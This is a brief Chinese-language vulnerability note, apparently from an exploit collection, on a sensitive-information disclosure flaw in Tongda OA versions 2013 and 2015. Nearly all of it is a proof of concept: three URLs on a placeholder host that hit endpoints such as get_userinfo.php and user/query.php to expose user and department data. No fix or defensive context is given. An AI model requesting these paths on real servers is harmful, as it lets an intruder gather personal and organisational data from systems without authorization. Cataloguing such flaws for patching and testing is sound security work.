003-通达oa ⻚面敏感信息泄露.md

235 B / 2021-07-17 00:01:26

    ## 通达oa ⻚面敏感信息泄露

### 漏洞影响

2013、2015版本

### 复现过程

POC:

```bash
http://0-sec.org/general/get_userinfo.php
http://0-sec.org/general/ipanel/user/query.php
http://0-sec.org/general/info/dept/
```